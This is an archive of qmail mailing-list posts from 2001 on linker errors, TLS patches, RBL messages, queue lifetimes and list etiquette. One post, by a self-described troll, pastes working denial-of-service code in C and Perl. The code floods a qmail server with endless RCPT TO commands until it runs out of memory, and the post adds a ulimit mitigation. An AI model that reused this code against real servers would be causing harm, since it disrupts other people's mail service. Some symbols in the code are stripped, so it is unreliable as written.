 dns.o(.text+0x45a): more undefined references to '__dn_expand' follow
 dns.o: In function 'dns_init':
 dns.o(.text+0x4a3): undefined reference to '__res_search'
 dns.o(.data+0xc): undefined reference to '__res_query'
 collect2: ld returned 1 exit status
 make: *** [qmail-remote] Error 1

qmail appears to be attempting to link again your local resolver library
and not being able to find it. Do you have /usr/include/resolv.h? 
This isn't really a qmail issue -- just install the resolver library and
all should be well.

GW



Re: custom RBLSMTPD message... (was: Sublist (Was: Virus...)

2001-08-01 Thread Peter van Dijk

On Wed, Aug 01, 2001 at 11:00:08AM -0400, Roger Merchberger wrote:
[snip]
 perl -ne 'chomp(); print $_:allow,RBLSMTPD=/-yuck fou./\n;'
 
  ;-)
 
 I'd *love* to use that as my default text, but methinks I'll have to be a
 bit more diplomatic.

It *is* the subtle version. I stole it from a t-shirt :)

 Filter file through tool. Add sugar or milk according to taste. Enjoy.
 
 I'm writing a perl script to take my Eudora mbox spam file and extract all
 of the IP addresses to put in my tcp.smtp automagically, where i was
 planning on adding that line... but if someone with an open relay closes
 it, they won't be able to contact me to let me know they fixed their MUA.

Their loss :)

 But in other words, live with it. No problem.
 
 Hey - here's an idea: Can you set an arbitrary environment variable (like
 DATESET=whatever), and will qmail ignore it? That way, I could have my

I fail to see the purpose of setting a variable that qmail purposely
ignores :P

 proggie note when the entry was listed, and I can remove entries not
 associated with a netblock, say, over 1 or 2 months old automatically...

Just a bit more magic in the perl tool :)

Greetz, Peter
-- 
Against Free Sex!   http://www.dataloss.nl/Megahard_en.html



Re: Robin Socha, this is a plea.

2001-08-01 Thread Kris Kelley

I normally don't participate in such discussions, but...

Jeff Palmer wrote:
Granted,  a lot of the emails to this list could be handled if the person
would just read the FAQ. But the simple truth is... [h]uman nature is not
 digging through tons of documentation to find a
'simple' answer.

FAQ != tons of documentation

Plus, this is what search engines are for.

Face reality.  You are looking for an idealistic world.   You need to see
that we live in THIS world,  and not many people are going to conform to
your ideals...  Follow your mothers advice.

You mean when she said Stand up for what you believe in?

---Kris Kelley




Re: TLS implementation.

2001-08-01 Thread MarkD

On Wed, Aug 01, 2001 at 06:34:53PM -0400, McHugh, Sean allegedly wrote:
 However, after thinking about it.  I send and recieve over 75000 messages a
 day.
 I do not want to use TLS indiscriminately for every SMTP host.  I have only
 a few places to send to where mail _needs_ to be encrypted. so how do
 _selectively_ tell qmail to use
 tls for certain hosts and not others ? and how do i tell qmail to use normal
 SMTP for everyone, but force TLS for certain smtp servers sending in ?  MMDF
 has this functionality.

Remember, this is a patch to qmail, not part of qmail proper. I don't
believe the patch has the capability you ask for. Have you considered
contacting the author of the patch? If they can't help you, and this
is important to you, then you may have to use MMDF.


Regards.

PS. I'm on the list so I don't need a separate copy of this email.

 
 sean
 
 -Original Message-
 From: MarkD [mailto:[EMAIL PROTECTED]]
 Sent: Tuesday, July 31, 2001 4:38 PM
 To: '[EMAIL PROTECTED]'
 Subject: Re: TLS implementation.
 
 
 TLS negotiated after the connection is established (basically they
 send STARTTLS and take note of the response code). You should not need
 to configure anything. What makes you think you need to do this?
 
 
 Regards.
 
 
 On Tue, Jul 31, 2001 at 04:24:53PM -0400, McHugh, Sean allegedly wrote:
  We almost have qmail with TLS.patch working on Solaris 8 (x86).  Server
  allows starttls
  command and patch installed fine.  We are a little stuck at the point
 where
  we specify 
  what host we want qmail-remote to invoke TLS for and what hosts we want
  qmail-smtpd to force to
  use TLS in sending to us.  The patch documentation is not clear on how
 this
  is done.  Can anyone
  give me clue ?  Is there a HOW-TO:Qmail/TLS for dummies like us ?
  
  sean



Qmail, sooo easy to exploit

2001-08-01 Thread Steve Wozniak

I'm a little Troll, I'm looking for some servers to exploit. I look through this list 
to find the vulnerable qmail servers; you know, newbies that give out tooo much info 
because the list regulars like Frank Tegtmeyer beat up on newbies and pressure them to 
give out way too much info.

Any of you guys ever see your company's computer guy on SNL? That is some funny 
shit. Well you guys know who you are.

here is some code to try ya'll, once you get the info you need.


 /*
  * qmail-dos-2 - run a qmail system out of swap space by feeding an infinite
  * amount of recipients.
  *
  * Usage: qmail-dos-2 fully-qualified-hostname
  *
  * Author: Wietse Venema. The author is not responsible for abuse of this
  * program. Use at your own risk.
  */
#include sys/types.h
#include sys/socket.h
#include netinet/in.h
#include netdb.h
#include string.h
#include stdarg.h
#include errno.h
#include stdio.h

voidfatal(char *fmt,...)
{
va_list ap;

va_start(ap, fmt);
vfprintf(stderr, fmt, ap);
va_end(ap);
putc('\n', stderr);
exit(1);
}

chat(FILE * fp, char *fmt,...)
{
charbuf[BUFSIZ];
va_list ap;

fseek(fp, 0L, SEEK_SET);
va_start(ap, fmt);
vfprintf(fp, fmt, ap);
va_end(ap);
fputs(\r\n, fp);
if (fflush(fp))
fatal(connection lost);
fseek(fp, 0L, SEEK_SET);
if (fgets(buf, sizeof(buf), fp) == 0)
fatal(connection lost);
if (atoi(buf) / 100 != 2)
fatal(%s, buf);
}

int main(int argc, char **argv)
{
struct sockaddr_in sin;
struct hostent *hp;
charbuf[BUFSIZ];
int sock;
FILE   *fp;

if (argc != 2)
fatal(usage: %s host, argv[0]);
if ((hp = gethostbyname(argv[1])) == 0)
fatal(host %s not found, argv[1]);
memset((char *) sin, 0, sizeof(sin));
sin.sin_family = AF_INET;
memcpy((char *) sin.sin_addr, hp-h_addr, sizeof(sin.sin_addr));
sin.sin_port = htons(25);
if ((sock = socket(AF_INET, SOCK_STREAM, 0))  0)
fatal(socket: %s, strerror(errno));
if (connect(sock, (struct sockaddr *)  sin, sizeof(sin))  0)
fatal(connect to %s: %s, argv[1], strerror(errno));
if ((fp = fdopen(sock, r+)) == 0)
fatal(fdopen: %s, strerror(errno));
if (fgets(buf, sizeof(buf), fp) == 0)
fatal(connection lost);
chat(fp, mail from:me@me, fp);
for (;;)
chat(fp, rcpt to:me@%s, argv[1]);
}


/*
-- qmail.pl --
#!/usr/local/bin/perl -w
# $Id: qmail.pl,v 1.4 1997/06/12 02:12:42 super Exp $
require 5.002;
use strict;
use Socket;
if(!($ARGV[0])){print(usage: $0 FQDN,\n);exit;}
my $port = 25; my $proto = getprotobyname(tcp);
my $iaddr = inet_aton($ARGV[0]) || die No such host: $ARGV[0];
my $paddr = sockaddr_in($port, $iaddr);
socket(SKT, AF_INET, SOCK_STREAM, $proto) || die socket() $!;
connect(SKT, $paddr)  print(Connected established.\n) || die connect() $!;
send(SKT,mail from: me\@me\n,0) || die send() $!;
my $infstr = rcpt to: me\@ . $ARGV[0] . \n; print(Attacking..,\n);
while(SKT){
send(SKT,$infstr,0) || die send() $!;
}
die Connection lost!;
-- qmail.pl --
*/




/* Here is the Patch for qmail -
 
If you are using tcpserver it should be sufficient to set the ulimit
once in the startup script.  All instances of qmail-smtpd inherit the
limit without further overhead.  Seems to be working fine here.

   echo Starting tcpserver for qmail-smtpd...
   ulimit -d 2048
   /usr/local/bin/tcpserver -v -u 61 -g 61 0 smtp /usr/local/bin/tcpcontrol \
   /etc/tcp.smtp.cdb /var/qmail/bin/qmail-smtpd 21 | \
   /var/qmail/bin/splogger smtpd 3 


*/





dns.o errors persist

2001-08-01 Thread Proc Meminfo

Greg, I do have resolv.h in /usr/include
and I still get the same errors.

I also tried copying it from another
machine, and still nothing.  Any other

ideas, anyone?



Thank you in advance - Proc


_
Free email with personality! Over 200 domains!
http://www.MyOwnEmail.com




Re: Robin Socha, this is a plea.

2001-08-01 Thread Brett Randall

 Jeff == Jeff Palmer [EMAIL PROTECTED] writes:

 Granted,  a lot of the emails to this list could be handled if the person
 would just read the FAQ. But the simple truth is,  it's not going to
 happen.  Human nature is against you here.

Semi-true. When I first started on this group, I asked questions that
were answered in the FAQs. I got short, sharp, and often rude,
answers. But I got over it and learnt... Read the docco, follow the
rules, and it'll be sweet. If more people that were abused learnt from
the abuse instead of taking it to heart, then the world would be a
better place... (well, this list would, anyway...)
-- 
Microsoft's slogan *should* read:
Where do you want to go today? It doesn't matter, you're coming
with us.



Re: Qmail, sooo easy to exploit

2001-08-01 Thread Charles Cazabon

Steve Wozniak [EMAIL PROTECTED] wrote:

[...]

Please don't feed the troll.

Charles
-- 
---
Charles Cazabon[EMAIL PROTECTED]
GPL'ed software available at:  http://www.qcc.sk.ca/~charlesc/software/
---



Re: Reducing Time-Out for Unresolved Hosts

2001-08-01 Thread Charles Cazabon

Security User [EMAIL PROTECTED] wrote:
 
 By default I noticed that qmail waits 7 days before sending an error message
 back to a user indicating that a message was undeliverable in the case where
 a user miskeys the domain portion of the e-mail address to a domain with a
 non-existant MX record.

This particular typo shouldn't cause the message to sit in the queue for
that long in most cases; qmail will see there's no MX record and attempt
delivery to the A record.  To remain in the queue, the SMTP port would
have to be firewalled off on that machine.

However, we know what you mean.
 
 I created a queuelifetime file in the /qmail/control/ directory and
 decreased that timeout to 86,400 seconds or one-day by just putting 86400
 in the queuelifetime file.  
 
 Is this the correct procedure?

Yes, although you have to restart qmail for this change to take effect.

 Also will this override the default value of attempting to deliver a
 message for 7 days?

This is exactly what queuelifetime means.

 My ultimate goal is really to just have a warning message passed back
 to a user in under a day, so a user can check to see if he/she made a
 typo when composing the e-mail.  But I still wouldn't mind qmail
 attempting the delivery for around 4 days in case the other parties'
 DNS/Mail server is down.

You're talking about delivery status notifications; qmail doesn't do
them itself, but there's at least two implementations to go with qmail
(one by Bruce Guenter, and another called qmail_bounce).  You can find
them at qmail.org.  You would then want to set queuelifetime to 4 days'
worth of seconds, and configure your delivery status notification system
to send warnings at appropriate times (the defaults are normally quite
sane).

Charles
-- 
---
Charles Cazabon[EMAIL PROTECTED]
GPL'ed software available at:  http://www.qcc.sk.ca/~charlesc/software/
---